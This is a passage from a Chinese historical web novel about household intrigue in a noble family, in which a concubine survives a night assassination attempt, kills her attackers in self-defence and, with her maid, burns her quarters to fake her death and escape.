翠玉:“可这果子是青的,不能吃,柳氏怎会给恒哥儿?” 碧珠:“睹物思人……让恒哥儿拿着她的果子,时刻惦念着她。” 两人观察,谢璋总看桌上的青果,时不时发呆,便更加确定了自己的想法,她们不敢耽搁,将此事告诉了二夫人。 因只是两丫鬟的推测,二夫人没有轻易下结论,直接去找谢璋,看到他桌上的石榴青果,问道:“恒哥儿可否告诉伯祖母,这桌上的果子,是谁送你的?” 谢璋思考了一会儿,答:“十五叔送我的。” 孙宜知道二人交好,听到这个回答,倒也没觉得意外,便没再继续追问。 过了几日,引儿发现墙外的两颗石榴没了, 告诉了寻真。 寻真惊讶:谢府规矩那么大,还有偷果贼啊?! 引儿想到,这石榴树好不容易结果,拢共也就十七个,才长出来便给人偷了,实在可恶! “姨娘,可要叫人去查?也不知哪个手脚不干净的偷摘!不能轻易饶了!” 寻真:“算了,反正也没熟,偷了也吃不了。” 而钱绮好几次去找儿子,总碰见他对着一个青石榴描画。 现在不画人,改画果子了。 可怎么还是石榴。 钱绮问:“你这是从哪里得来的果子……这么青,就给摘下来了。”说着,伸手去拿那颗青石榴。 谢进跟护宝似的,忙从她手里夺回来。 钱绮:“我看看都不行?” 谢进指着画说:“我还没画好呢,您这一动,位置全变了……我得重画了!” 钱绮:“倒是我的不是了?” 谢进:“娘,您就到别的地儿去,让我自个儿安安静静画,成不?” 钱绮被儿子“撵”了出来,心里直叹,儿子越大就越不黏娘了,心里怪不是滋味。出门前,回头瞧了一眼,见儿子换了张纸,又一门心思画起石榴来。 摇了摇头,出去了。 回去之后,钱绮越想越觉得不对劲,这一次两次的,怎就跟石榴较上劲了? 她还派人去盯着石榴,那丫头一直挺安分的,若非谢进唤她,便从不主动出现在谢进眼前。 钱绮不得其解,心里又一直惦记着,于是,又动了给儿子相看的心思。这回,是她娘家侄女,钱绮去瞧过,举止落落大方,做事得体,模样更是俏,钱绮十分中意。便安排了一场茶会,想着让谢进和表妹见个面,说上几句话。 谢进本以为只是见个亲戚,便爽快应了。到了才知母亲意图,中途尿遁捂着肚跑了。把钱绮气得不轻,向娘家赔礼道歉。 钱绮便又想起“石榴”那档子事,晚上来到谢进的书房。 谢进正在挑灯夜读,案上的纸密密麻麻写满了字,钱绮看着,心里一软。 钱绮:“今日怎突然跑了?你可知道,你让我在你姨妈面前丢了多大的脸?” 谢进:“您没问过我就擅自拿主意,若娘事先告知,便不会发生这样的事。” 钱绮一口气堵在胸口:“我若提前告知,你还肯去?……你这混球!到底是哪个给你灌了迷魂汤?莫不是外头那些个不三不四的人把你带坏了?” 钱绮看了眼桌上的青石榴,这么些天了,还放在那儿。 这果子采摘过早,再放多久,也不会成熟。 钱绮:“你可知父母之命、媒妁之言,你想娶谁,可由不得你自己决定!” 谢进抿了抿唇,“母亲,我何曾说过我不娶妻?” “我一直都与你说的是,等我考上了,再娶。” “可你从不相信我能考上。” 钱绮心里窝着火,便脱口而出:“能不能考上,你自个不清楚?去年便去考了,童子试第一场都未过!” 钱绮经历过丧子之痛,就怕儿子再因读书出事,语气便重了些。 “若你像你五兄那般争气,我自然随你,一切都听你的,等你上了那金銮殿,自会有好亲事找上门。若无天赋,再如何用功都是白费劲,还不如早点儿歇了这心思!” “自个没本事,就别怪娘逼你!” 这都是命中定下的,没那个本事,就得认。可不能自命不凡。 钱绮也听说了,谢漼那庶长子,过目成诵,开口成章,谢二爷还亲自教他学问。 根本比不来的。 那小孩钱绮见过,小小人儿,一脸成熟相,还长了对聪明眼,将来定有出息,跟他爹一样。 看到儿子的眼睛黯淡下去,脸上露出受伤的表情,钱绮终究不忍,平时舍不得说他一句重话,今日却这般戳他心窝子。可让她这个做娘的拉下脸主动认错,又做不到,便只能僵持着不说话。 即便钱绮说了这般伤人的话,谢进心中仍是没有埋怨母亲。 毕竟,母亲说的虽然难听,却是事实,他的确没用,即便这么努力读了,却还是记不住,他的确是个庸人。 钱绮又看了一眼桌上的青石榴,突然开口问道:“我屋里的杏儿嫁人了,缺个人手,石榴那丫头,你若不肯收用,我便将她带走,你可愿?” 谢进一愣,“母亲若要,便带走吧。” 看到儿子的反应,钱绮松了口气。 看来儿子的反常,与石榴那丫头无关? 石榴却似遭了一记晴天霹雳。 石榴得知这个消息,脸色都白了些。 旁人却只当她高兴坏了,毕竟被提拔为二夫人的贴身丫鬟,对她而言,可是连跳两级。 “好啦,别再愣着啦,赶紧收拾,莫让夫人久等。” 石榴垂着头,应了声。石榴出了会儿神,很快调节好了情绪。 能去二夫人身边伺候,月例翻了两翻呢。 这是好事。 她这般低贱的人,又怎敢去肖想旁的。 石榴跟在二夫人身后。 最后望了眼书房的位置,将那些心思都压在心底。 希望少爷能……得偿所愿。 钱绮只随口一说,过了些日子,发现这丫头做事实实在在,嘴巴也紧,不争不抢的,就是有时候老实太过,还不爱说话,闷了些,但总的来说,钱绮还是挺满意的,便开始信任她,常带在身边。 六月,暑气渐盛,老夫人的病还没好利索,夜里就没放冰,半夜睡不踏实,整日都没精神。一日太热,竟中暑了,便请大夫来看,喝了五日的药才稍稍好转。 老夫人躺在床上,又想起那个方士说的话。 只要离克她之人十丈开外,就能平安无事。 虽已把柳氏打发走了,可老夫人心里还是不踏实。这回又被暑病折磨,老夫人便认定是寻真的缘故。 心想:十丈的距离,恐怕还是不够。 但若仅仅因为方士的一句话,就将柳氏赶出府去,又不合情理,传出去倒坏了她名声。 老夫人反复思量,决定去别庄养病。 这几日,吕令萱每日都来探望。 虽吕令萱被禁足,但谢漼不在府中,有老夫人的准许,自然无人敢阻拦。 一日,吕令萱在床边侍奉老夫人喝粥,丫鬟进来禀报,说大夫人来了。 老夫人:“请她进来。” 钱绮进屋,行了一礼:“母亲。” 吕令萱抬眼一瞥,目光不经意间扫过钱绮身后的丫鬟,手一抖,粥洒在了被褥上。老夫人皱了皱眉。 吕令萱把粥给丫鬟,向老夫人告罪。 丫鬟取来帕子擦拭床褥,吕令萱告罪后便退下更衣,路过钱绮身边时,又看了眼石榴。 不过是一个长得像柳氏的丫头罢了。 可真真是晦气! 吕令萱走后,钱绮坐到她刚才的位置上,“母亲今日可好些了?” 老夫人正欲回答,目光越过钱绮,落在了石榴脸上,定住了。 钱绮转头看了一眼,问道:“母亲,这丫头有哪里不对?” 老夫人冷哼一声:“与那人倒有几分相像。” 钱绮:“……与谁?” 老夫人:“这丫头长得不吉利,日后莫要再带到我跟前。” 石榴一听,惊恐万分,“扑通”一声跪地。 老夫人心情愈发烦躁:“我一人清净清净,你下去吧。” 钱绮道了一声“是”,又唤石榴起身。出了房门,寻了福嬷嬷问,嬷嬷此前也留意到了石榴的长相,心下惊异,并未表露,钱绮来问了,便答:“除了那位,还有谁能让老夫人这般厌烦?”说着,手指向西边,“……老夫人因着她,才要去别庄。” 钱绮得知此事,带着石榴回到房中,脑子一片混乱,思绪如乱麻。 她坐在房内,兀自思考,目光中渐渐露出惊惶之色。 再看向立在一旁的石榴,道:“石榴,你抬起头来。” 石榴便抬起头。 钱绮瞧了两眼:“退下吧。” 石榴:“是。” 石榴跨出房门,脚在抖。 钱绮思前想后,坐立难安,去了谢进的书房。 谢进不在,那桌上还摆着青石榴。 钱绮扫视一圈,在桌案、书架上翻找起来,在架上一长形匣子中找到了一叠画,大多画的都是桌上的石榴,其中还夹着一张人像,正是她先前见过的。 钱绮拿着画像,仔细端详,总算瞧出了关键。 当时为何觉得不像,原来是因为这双眼。 这眼睛灵动有神,哪是石榴那木讷丫头能有的? 钱绮颤着手,将画像折拢藏进袖中,把其余物件放回原位。出门时,恰好碰见谢进。 谢进:“娘,你找我?” 钱绮心烦意乱,上下打量着谢进,心中愈发沉重。 炎哥儿,可千万别是娘想的那样。 嘴上却只说:“无事,娘还有其他事,先走了。” 钱绮将画像藏在自己房中,而后独自一人前往西院。 那座独立的小院,关着门,什么都瞧不见,唯有一枝绿意从墙头探出,钱绮盯了半晌,分辨不出是什么树。 当晚,谢进打开匣子,发现画像不见了,他翻遍了整个书房都没找到,于是便去问钱绮。 “娘,今日您到我那儿,可曾……拿了什么?” 钱绮:“你这小子,这是什么话?莫不是以为娘会偷你的东西不成?” 谢进:“娘,我不是这意思,兴许是我乱放东西,娘以为没用,便扔掉了。” 钱绮:“我怎会乱丢你东西,定是你自己放错了地方,下人以为无用,才给扔了。” “不可能啊,我明明放好了的……”谢进喃喃自语,挠着头,“我再回去找找。” 钱绮看着儿子离去的背影,指甲掐进了肉里。 六月中旬,天越来越热,寻真几乎整日都呆在房里。 遇到阴天,寻真便会出门锻炼,去后面树下练引体向上,绕着院子蛙跳、跑步,直到累得精疲力竭才停下。 寻真坚信,只要持之以恒,她这虚弱的底子,早晚能被练强。 她现在一次性可以做十五个引体向上了! 钱绮时常去西院,十次中有八、九次院门都是关着的,有那么一回,那院门开着,钱绮往里望去,看见石榴树上的青果,脸色便白了一半。 她掩在树后,等了一会。 见一人从房内走了出来,伸展腰肢,钱绮盯着那人的脸看。 脸色瞬间惨白。 钱绮失魂落魄往回走,进屋后,不许任何人进来。 她取出谢进的画。 心惊肉跳。 那柳氏的神态竟跃然纸上。 儿子是何时与柳氏相识的? 这几日,钱绮因儿子的事,一直未睡好,得知真相的这一晚,更是彻夜未眠,翌日起来脸色憔悴,眼窝乌黑。 此事定得瞒死了!万不可让任何人知道! 若走漏了风声。 那柳氏就是死上一万次也无甚可惜,就怕连累了炎哥儿,他这名声可就全毁了,往后还如何在这世上立足? 钱绮命人告知石榴,近日就待在房里,什么事都不要做,也不许外出。 钱绮看着画像在炭盆中化为灰烬,而后去老夫人处。 老夫人今日正准备启程去别庄。 钱绮一进房,脚步踉跄,跌跌撞撞,到老夫人床边,“扑通”一声跪地:“老夫人,您可要救救恒哥儿啊……” 老夫人见她脸色跟鬼似的,神色凝重:“这是怎了?起来,好好说话。” 钱绮颤着声,一五一十讲来。 老夫人攥拳,浑浊的眼中冒出精光:“竟有这种事!” 二人密谈了两个多时辰,钱绮出来,已近午时,外头烈日高悬,钱绮在烈日下,摇摇晃晃地走着。 返回途中,在廊下遇到谢进。 谢进奔上来,紧张问道:“娘!您这是怎了?可是病了?可叫大夫来瞧过了?” 钱绮看着谢进,恨铁不成钢。 炎哥儿,你竟如此糊涂,犯下这等弥天大错。 莫非要断送自己的一生? 第95章 第95章“玉碎” 钱绮深知,她与老夫人所谋之事,干系重大,绝不可让谢进知晓一星半点,只平静道:“无事,只是昨晚没睡好,有些乏了,睡一觉便好。” 谢进还是担心,上前,搀住钱绮的手臂。 钱绮勉强挤出一丝笑意,道:“炎哥儿,娘真的没事,就是累了,想歇一歇,这便去睡了。” 谢进:“哦,好,娘你若是不舒服,定要唤大夫来看!” 钱绮拍拍谢进的手:“好。” 大夫人走后,老夫人对福嬷嬷说,不去别庄了。 福嬷嬷惊讶,车马早已备好,随行仆役也都候在门外,物品一一清点无误,一切准备妥当,怎就不去了? 老夫人吩咐道:“去把令萱叫来。” 吕令萱知道老夫人今日要去别庄,却突然被老夫人派人传唤,有些疑惑,但还是过去了。 正堂。 老夫人高坐主位,见她进来,抬手示意她坐下,屏退众仆。 一时间,堂内安静异常,老夫人久久未开口,吕令萱便主动问道:“祖母,寻我何事?” 老夫人:“六年前,是我为你定下这门亲事……你心中可曾怨过我?” 吕令萱一怔,忙回:“祖母,孙媳绝无此念!能嫁给夫君这般的人中龙凤,孙媳只觉是几世修来的福分,才得了这一桩姻缘……孙媳感激祖母还来不及呢!” “若不是祖母当年做主,孙媳哪会有这般机缘?” 老夫人点了点头,默了半晌后,才叹道:“可我如今想来,实在是对不住你。那般出色的儿郎又如何,还不是让你受尽了委屈?……五郎偏宠那柳氏,对你竟如此狠心,将你禁足三年……令萱,我愧对你啊。” 听到这些,吕令萱眼眶一红,眼中涌起几分真切的委屈,道:“都怪孙媳无用,不能讨夫君欢心。” “这怎能怪你……”老夫人长叹了一口气。 吕令萱心下一动,意识到这是个难得的好机会,上回诉苦,老夫人便帮她惩治了柳氏。本想着能让柳氏吃些苦头,长些记性,谁料仅仅惩戒了十二日,方士便道柳氏八字克老夫人,这事便不了了之。 吕令萱怨气难消,可老夫人身体不好,她不敢频繁提起,惹老夫人厌烦。 这回,老夫人竟主动怜惜她,吕令萱念头一转,当机立断,在老夫人面前跪下。 吕令萱:“请老夫人帮我!” 老夫人看着伏地之人:“你想我如何帮?” 吕令萱:“那柳氏真真是个狐媚惑主的妖妇!夫君受命前往灾区,她竟还整夜霸着夫君不放,这事儿在府中早已传得沸沸扬扬,老夫人您不知,那些个下人都把这当成笑料,嚼舌根呢,说夫君——” 老夫人接口:“说什么?” 吕令萱:“说夫君色令智昏,被那柳氏迷了心智,早晚有一天会误了朝廷大事。” “前年还有一回,夫君已决意出了那柳氏,连放妾书都给了。可那柳氏不知使了什么见不得人的手段,竟哄得夫君改口收回!这般被妇人左右,反复无常,夫君可从未有过。” “可让下人们看足了笑话!” 老夫人:“五郎此举,的确糊涂,不似他往日那般稳重。” 吕令萱见老夫人神色似是被说动,继续说道:“这般狐媚女子实是不能留在夫君院中了,长此以后,孙媳就怕,那女子勾得夫君都没了心志,荒废了仕途大业,惹圣上降罪。” 老夫人陷入了沉默,吕令萱心跳极快,紧张地等待。 须臾,老夫人道:“令萱,你说得对,这柳氏确实阻碍了五郎的前途,你……尽管放手去做。” 吕令萱喜出望外,可还是有些迟疑:“……可是,五郎那般偏袒柳氏……” 老夫人:“莫怕!有我为你做主,五郎便不能把你如何。” 吕令萱:“是,孙媳听祖母的!!” 吕令萱兴高采烈地从老夫人屋里出来,还带走了两名丫鬟,此刻,她底气十足。 老夫人愿意护她,做她后盾。 夫君又不在。 此时不除了柳氏这心头大患,更待何时? 濠州。 淮河支流汇聚处,堤坝修筑已近尾声。 这一月来,雨水稀少,水位很稳定。 数名官员正在检查河道情形。有专人腰系绳索,背着观测器具,小心下水,探测水位高低、水流缓急,登记的人则在岸边,手持纸张与毛笔,记下各项数据,随后呈给前来实地巡查的官员们。 确认完,几名官员一同往回走。 田埂间,泥土还残留着洪水肆虐过后的板结痕迹,村落中,倒塌房屋的残垣断壁依旧存在,无声地诉说着那场惨绝人寰的洪灾。 玉石坠落在地,发出一声清脆的声响,一名高大挺拔的官员顿住了脚步,并肩同行之人也停下,低头望去,见谢漼蹲在地上,捧着一块玉。 这是与谢漼共事一年多的同僚,自是知晓他对这块玉极为爱惜,几乎时刻不离身,因为佩戴时 间过长,玉上系着同心结的红绳都已磨损褪色了。 而此刻,这玉竟不慎跌落,断成了两截。 谢漼蹲在地上,手指轻轻拍去玉上的灰尘。 同僚弯下身子,道:“此玉成色这般好,怎一摔就碎了?” 谢漼捏在手心,起身:“原先就碎过一回。” 同僚见谢漼神色黯然,似乎正因这玉碎而心情低落,便道,“过几日回了都城,寻那手艺精湛的匠人修补,定能让这美玉恢复如初。” 谢漼颔首,心中却莫名涌起一丝不安。 回到居所,他将碎玉放在案上,寻来一块锦帕,仔细包裹好,放进包袱中。谢漼的告假申请已获批,再过五日,便可踏上归程。 谢漼在案边磨墨,取信纸,给寻真写最后一封信。 【我五日后便可归家,若行程顺遂,约六月底至。 唯有一事,需向真儿赔罪,我于巡查河堤之时,不慎将真儿所赠玉佩摔碎,此玉已碎过两回,又思及此玉起初是赠恒哥儿,是我讨要而来,想来许是本非我之物,与我缘薄。 今欲向真儿再求一礼,望真儿亲手为之,可允否?】 谢漼写完,唇角牵起一抹笑意,脑海中浮现了她看到此信后的反应。 再望向包袱,心中萦绕的那丝惋惜,渐渐消散,这玉本就是她送给恒哥儿的,倒正好可借此由头,向她讨要一件专为自己做的物件。 这玉碎了,他才好趁机讨下一个。 如此想来,便也就没那么遗憾了。 而寻真这边。 月兰要回乡探亲,寻真爽快批了假。月兰家不在都城,坐马车回去,要三天。按谢府规矩,丫鬟的探亲假一般是三到七天,就算给月兰最多的假,她大部分时间都得花在路上。还好能走后门,寻真让承安帮忙操作一番,给月兰批了半个月的假。 月兰每年都会请一次假回乡。月兰第一次提出时,寻真也问过引儿,要不要请假回乡。引儿却说,她从小就被卖了,早就记不清父母模样,也不知道家乡在哪。问了问,院子里好几个丫鬟都是这种情况,她们都把谢府当成了自己的第二个“家”。 六月二十五日,天色阴沉沉,寻真刚锻炼完,浑身是汗。 寻真收到了谢漼的来信,随手把信放在桌上,想着等洗完澡、吃完饭再看。 洗澡时,例假突然来了,换好月事带,寻真浑身疲惫,直接睡了过去。 引儿来送晚膳,把她叫醒。寻真小腹坠胀,难受得很,有气无力地应了一声,说自己会吃的,引儿就退下了。过了半个时辰,引儿再度进来,饭菜一点都没动,寻真又睡得很沉,就没再打扰,端着饭菜出去了,想着等寻真一会儿会饿,便没有睡得太死,就等着一听到动静,马上过去。 寻真是被饿醒的。 一睁眼,屋里黑漆漆的,床帘没拉上,窗口透进来一点微弱的光,屋内的物件影影绰绰,只有模糊的轮廓。 寻真脑中快速回忆,高强度锻炼完差不多是傍晚,因为月经突然来了,太累,连晚饭都没吃就睡了。 寻真预估,现在大概是凌晨一两点。 寻真正要起身去厨房觅食,突然看见门口处移来两个黑影,寻真还以为是自己饿过头产生幻觉了,那两团黑影慢慢向床边逼近,她瞳孔急遽扩张。 寻真的手伸向床里侧,心脏狂跳,几乎要从嗓子眼蹦出来了。 等其中一个黑影走近了,寻真飞速弹跳起身,和那人对上了眼,那人显然被她吓了一跳,眼中闪过一丝惊讶,紧接着,寻真双手抱起床边的小柜子,用力往面前人身上砸,只听“砰”一声巨响,那人闷哼一声,倒下。 还没来得及喘口气,那人身后的同伴扑了上来,手中拿着一把匕首,刀面反射出一抹寒光。 这时,柜里的凝星珠滚了出来,瞬间,床内大亮。 寻真看清了那两人的脸。 是她院中新来的丫头! 她就说怎么突然给她拨了两个人,明明也不缺,她这小院子都快挤不下了。 原来这两人是来杀她的! 寻真侧身一闪,匕首直直地扎在了床上,那声音听得寻真头皮发麻。 要不是平时坚持锻炼,反应快,不然,这匕首现在已经扎进自己胸口了。 寻真赤脚跳下床,一边大喊着,“救命啊——!来人啊——!” “救命啊——!” “快来人啊——!” 一边往门口跑,慌乱中,她看见不远处的案上放着一根发簪,昨天她卸下后,顺手放在那,是谢漼送她的流霞簪。 寻真感觉一阵风从身后袭来,发尾被扯住,头皮一阵刺痛。 寻真顺势抓起发簪,转身就刺,那人身高和她差不多,这一簪直接刺进了心窝。鲜血飙了出来,溅到寻真的身上、脸上。 那人瞪大眼睛,身体抽搐了一下,嘴巴张得大大的,却因为剧痛发不出声音,只能发出微弱的“啊啊”声,接着轰然坠地,翻着眼白。 寻真呆了,颤着手,往后退了一步。 她杀人了? 她杀人了! 她杀人了…… 危险再度逼近,下一个人像恶狼一样扑了过来,匕首向她捅了过来。 生死关头,寻真迅速冷静下来,调整心理状态,眼睛迸发出凌厉的光。 不,这怎能算杀人呢? 这是正当防卫! 事实证明,人在濒临死亡时往往能激发出无限潜力,寻真直接将旁边的桌子举了起来,双手各抓住一条桌腿,往前挡去。 两人僵持不下。 地上的人却没死透,突然抓住了寻真的脚腕,寻真一个踉跄,摔倒在地,桌子也砸在她的身体,寻真一声吃痛。 那人拿着匕首,俯身扎下。 引儿从屋外冲了进来,看到二人缠斗,四处望望,锁定架子上寻真用来放凝星珠的青铜托盘,抄起托盘就冲了过来,千钧一发之际,引儿用尽力气,把托盘狠狠地砸向那人的后脑,那人身体一滞,倒在地上。 寻真长舒了一口气,瘫坐在地上,眼里满是劫后余生的庆幸。 寻真肾上腺素飙升,心脏跳得飞快,全身都被汗水湿透了。手也不住地抖。 引儿把压在她腿上的桌子挪开,看了看躺在地上失去意识的两人,眼中满是惊恐,又看到寻真腿上的血迹,惊呼:“姨娘!您没事吧?……您流血了!” 寻真低头,她受伤了?但没感觉痛意,反应了一会,才说:“这是经血……”想了想又补充,“就是月水。” 引儿松了口气。 两人惊魂未定,坐在地上,缓了好一会儿。 引儿道:“还好今天我想着姨娘一会儿会饿,就没睡死,隐隐约约听到声音就醒了,就看见窗外有人在吹迷烟进来,虽及时屏住了气,但还是吸入了不少,晕了一会才清醒过来……还好,赶上了……” 寻真想起刚才的惊险,就后怕,抹了一把脸,掌心汗水混着血水:“还好有你,不然我就死翘翘了……” 寻真正要起身,双手撑地,指尖触碰到了纸张之类的东西。 寻真垂眸看去,是谢漼的信。她还没来得及看。 信上印着一个血色的五指印。 寻真此刻哪还有什么心思看信。 寻真一站起来,血就往下淌,便急速去浴房,简单擦身,换了衣服和月事带,然后跟引儿一同去丫鬟房。 丫鬟们倒了一片,怎么拍都叫不醒。 寻真内心愈发沉重。 今天恰好碰上阴天,寻真剧烈运动后,又来了月事,连饭都没吃,就提前睡了,正巧饿醒,撞见这两人。 这种种巧合若是落下一个,寻真都死定了。 凌晨一两点,正是她深度睡眠,睡得最死的时候。 引儿:“奴婢这就去叫承安过来吧?……也不知还会不会有其他人来,您留在此处太危险,与我一道去寻承安吧?” 寻真沉思着,抓住引儿的手臂:“先不要去。” 经过激烈缠斗,寻真饿得快虚脱了,差点腿软摔倒,寻真扶住了墙。 引儿:“姨娘,您怎了?” 寻真:“饿了。” 两人途经厨房,便进去随便弄点吃的。 引儿搬来小椅子,让寻真坐下:“姨娘,我给你下碗面条吃吧?” 却找不到油,“油怎不见了……” 寻真目光转了一圈,落在门口处。厨房的两桶油都被搬到了那里。 引儿也看到了,愣了愣。 寻真心中已有了决断。 “不吃面了。”寻真起身,注视着引儿,说出自己的决定,“我准备离开这里。” “虽然不知道是谁要杀我,但我这次没死,她们背后的人不会善罢甘休。更何况,还不知道谢漼什么时候回来,我不能坐以待毙。” “所以,我是必须得走了。” 引儿震惊不已:“离开谢府?” 寻真很确定:“嗯。” 引儿下意识劝道:“可是,离开这里,能去哪里呢……您一介弱女子,如何在这世道活下去?” 寻真:“天大地大,总有容得下我的地方,今天,也算是在鬼门关走过一遭的人了,我还会怕什么?” “时间来不及了,她们计划是杀了人后放火,我再不走,便要被发现了。” 寻真一手拎起一桶油,朝着卧房走去。 引儿呆了片刻,跟了上去,接过寻真手中的油,帮她提了一桶。 寻真边走便跟她说计划,语速极快:“她们要杀的只有我,其中有一人身形与我相仿,放了火之后,便烧的脸都看不清了……一会儿你就躺回自己房间,装作中了迷药,什么都不知道。至于为何只有一具凶手的尸体,背后谋划之人想来也不会过多深究,或许会当作那人潜逃了。” “他们唯一的目的就是我死。” “所以,只要我消失了,你只要装作什么都不知道,就不会有事。” 引儿懵懵的,进屋后,帮着寻真一同泼油。 寻真讲完了计划,引儿仍不死心,劝道:“姨娘,还是去跟承安说,再给爷寄了急信,想来爷知道后,定会派人保护您,您若出了府,无人护着……” 寻真微笑着打断:“引儿,你可还记得,这是第几次了?” 引儿沉默着。 寻真:“第三次了。” “我不会再把我的命交到别人手上了。” 寻真把最后一点油泼在地上那两人身上,然后进屋快速收拾行礼。 引儿看着寻真的背影,心道。 可是,爷又怎会是别人呢。 寻真装了两大包袱,里面有月事带,几件衣服,一点吃的,剩下的便都是钱了。寻真专挑金子拿,装的差不多了,再添一点零碎银子、铜钱,首饰一样没拿。 虽然知道谢漼送的都是极贵重的,但难保有些带有谢府独有的印记,保险起见,索性一件都不拿。 匣子里还有不少原身的东西,有一条红绸带,寻真再次拿起,原身珍藏这根红绸带,想必意义非凡,虽然寻真已经霸占了她的身体,原身可能也永远不会回来了……寻真想了想,还是决定把它带走。 寻真垮着两个鼓鼓囊囊的包袱,走出来,听见“砰砰砰”的声音。 引儿正用那青铜托盘砸一人的头。 那人还未断气,手伸上来,企图抓住引儿的衣服,眼珠子都快瞪出来了,引儿毫不留情,一下又一下地砸着,数十下后,那人腿一蹬,彻底死绝了。 寻真跨过那具尸体走过去,从架子上,取了那本《大周舆地志》,放进包袱里,接着去床上找凝星珠,找了一会才发现凝星珠在地上,碎成了两半,不能用了,寻真感到有些可惜。 引儿扔掉沾满血的青铜托盘。 寻真注意到谢漼的那封信。 信躺在血泊中,一角已经被血迹浸染。 寻真蹲下来,正要捡。 却听引儿道:“姨娘,我跟您一起走吧?这人身形跟我差不多,正好伪装成两人杀了人畏罪潜逃,这样便更不会被发现了。” 寻真的手停在半空,看向引儿:“你真要跟我一起?跟着我,可是要风餐露宿,吃了上顿没下顿,或许还得在野外过夜。你考虑清楚了吗?” 若有伴,当然再好不过。 引儿:“考虑清楚了!” 引儿的手探向那两人的鼻尖:“都没气了!” 然后,引儿将一人胸口处的流霞簪拔下,只见那人胸口一个小洞,鲜血汩汩流出,引儿将那簪子插在那人头顶。 一切准备好,二人走出去。 临走前,寻真目光扫到墙上的画,取下了谢漼画的小院全览图,塞进包袱里。从门口往里望时,看到地上那封信,犹豫片刻,没回去拿。 都要走了,拿了也没什么意义。 引儿将烛台丢进去,屋里倒满了油,烛台一触即发,火苗瞬间肆虐,刹那间燃起大火,飞速往四周蔓延。 二人关上了门。 引儿回房简单收拾了几件衣物,又拿了钥匙,去库房,挑了几样金首饰,想着往后没钱时,可以将这些首饰熔了换钱。 寻真:“会被人发现是出自谢府吗?” 引儿:“奴婢特意挑过的,不会被发现。” 寻真放心了。 引儿也装了满满两大包袱,装了那么多金子,寻真心里踏实一些了。 虽然都是谢漼的钱,但想来,谢漼应该是不会在意的吧? 寻真拉着引儿,往院子后面跑去。 不多时,到院后不远处的偏门旁。 这里是寻真跟谢进翻过墙的地方。 屋内,火光中。 那胸口有血洞的女子,身子陡然一颤,缓缓睁开了双眼,五指抠着地面,拖着身子,朝门口爬去,身后拖出一道刺目的血痕。 可因为身子浸透了油,火焰迅速蹿上她的身子,爬到门口时,已变成了一个火人。 烈火中,她发出哀嚎求救声,毛骨悚然。 寻真和引儿搬来一旁的大石块,叠起三块,将包袱逐一扔到墙外。寻真让引儿先,等引儿踩到石块上,再让引儿踩着她的肩膀爬上去。 引儿不敢冒犯,犹豫着说道:“要不,姨娘您还是踩着我先上去吧?” “你臂力没我强,我怕我先上去了,你爬不上来。快点!” 寻真催促,引儿便鼓起勇气踩上了,还不忘说:“姨娘,若踩疼了你,可要跟我说,我轻点儿。” “尽管踩,你抓稳不要摔下去就行。”寻真扛着她慢慢直起身,“出去了后,就别叫我‘姨娘’了,以后咱们就姐妹相称。” 引儿在墙上趴稳了,挪到一旁。 寻真手脚并用,借助石块,手臂一用力,轻松攀上了墙。 这么多年的引体向上没白练! 寻真放低重心,纵身一跃,稳稳落地,没有崴到脚,然后再驮着引儿下来。 引儿感叹:“姨娘,您可真厉害。这般轻松便翻过了墙。” 寻真捡起地上包袱,一只肩膀一个:“刚说什么来着,还叫姨娘啊?” 引儿也跟着捡起,摸摸鼻子:“哦……” 寻真:“我比你大两岁,以后你就叫我姐姐吧。” 两人各背着两个沉甸甸的包袱往外走去。 寻真往嘴里塞着牛肉糖:“先叫一声我听听。” 引儿:“……姐姐。” 寻真“欸”了一声,搂住引儿的肩,“以后就我们姐妹俩相依为命啦!” 走出这条小道,寻真转头,朝那间她住了五年的院子看去。 此时,火还未完全烧起来,夜色中,只能隐约瞧见几缕升起的黑烟。 寻真一算。 五年,还真是整整五年。 今天正好是六月二十六,她穿来那天的日子。 她自己种的石榴和西瓜是吃不到了。 还有谢漼,这次是真的拜拜了。 她要去过更好的日子了。 寻真最后看了一眼,转头,仰面,大口大口地呼吸外面的新鲜空气。 和引儿挽着手,大步离去。 第96章 第96章“天亮” 孙宜一大早便被外头的喧闹声吵醒,掀开窗帘,天边刚泛起鱼肚白。脚步声 杂乱纷沓,由远及近传来,便唤来丫鬟们:“外头这是怎么了,如此吵闹?” 丫鬟道:“夫人,西院半夜里突然起了大火,大伙儿都在紧赶着救火呢” 孙宜内心一个咯噔,西院? 西边不止一处院子,便忙追问道:“是哪个院子?” 丫鬟道:清挽院。” 孙宜立刻起身出了房门,朝西边望去,那边浓烟滚滚,即便隔得很远,也能隐隐闻到一股烧焦味。孙宜心沉了沉,这时,去打听的丫鬟跑了回来。 孙宜便问:“情况如何?” 丫鬟一路小跑赶来,气还未喘匀,连连摇头道:“那火大得没边儿了,根本就扑不灭,大伙儿吓得腿都软了,都不敢进去……” 孙宜:“那……屋里的人呢?可有消息?” 丫鬟面露悲戚:“奴婢听旁人说,发现起火时都寅时了,那会儿火已经烧得特别大,整间屋子都着了……火不知何时起的,旁人说看那火势,最少也烧了一个时辰,柳姨娘……柳姨娘还在里头,不知现在是生是死……” 都烧了至少一个时辰,整座屋子都成了火海。 人怎可能还没事? 孙宜的心沉至谷底,沉默了一会,问:“怎突然起这般大的火,是何缘故,查明白了没有?” 丫鬟:“还不知……不过柳姨娘院中,还有三个丫鬟不知去向,也不知是不是在房中,得等火彻底灭了才能知晓了。” 孙宜:“将院中空闲的人全都叫上,赶紧去救火!” 丫鬟:“是。” 孙宜:“还有,你去跟碧珠、翠玉说,此事暂且瞒着恒哥儿,这几日务必看紧了,莫让他出院。” 丫鬟:“是。” 孙宜回到屋内,在榻上闭目养神,可那若有若无的焦味始终萦绕在鼻尖,静不下心,便再次起身,走到门外,唤丫鬟问:“情况如何了?” 丫鬟:“院中但凡能腾出手的人都去帮忙了,眼下火已慢慢小了,应很快能扑灭。” 碧珠端着早膳经过,孙宜叫住了她,看了眼托盘里的面,问道:“恒哥儿已醒了?” 碧珠方才得到过吩咐,便主动说道:“是。恒哥儿醒来时,还问我呢,怎闻到一股烧焦味,是不是哪里着火了。” 孙宜:“你如何对他说的?” 碧珠:“奴婢只说府上废弃的院子走水了,没什么大事,恒哥儿便信了。” 孙宜点头:“这几日都莫让恒哥儿出门,可得看仔细了。” 碧珠:“夫人,若恒哥儿执意要出去,奴婢该如何应对?” 孙宜:“就说是我的命令,就说……今日府中进了刺客,外面危险,你与翠玉二人定要盯紧了,莫让他偷溜出去。” 碧珠:“是。” 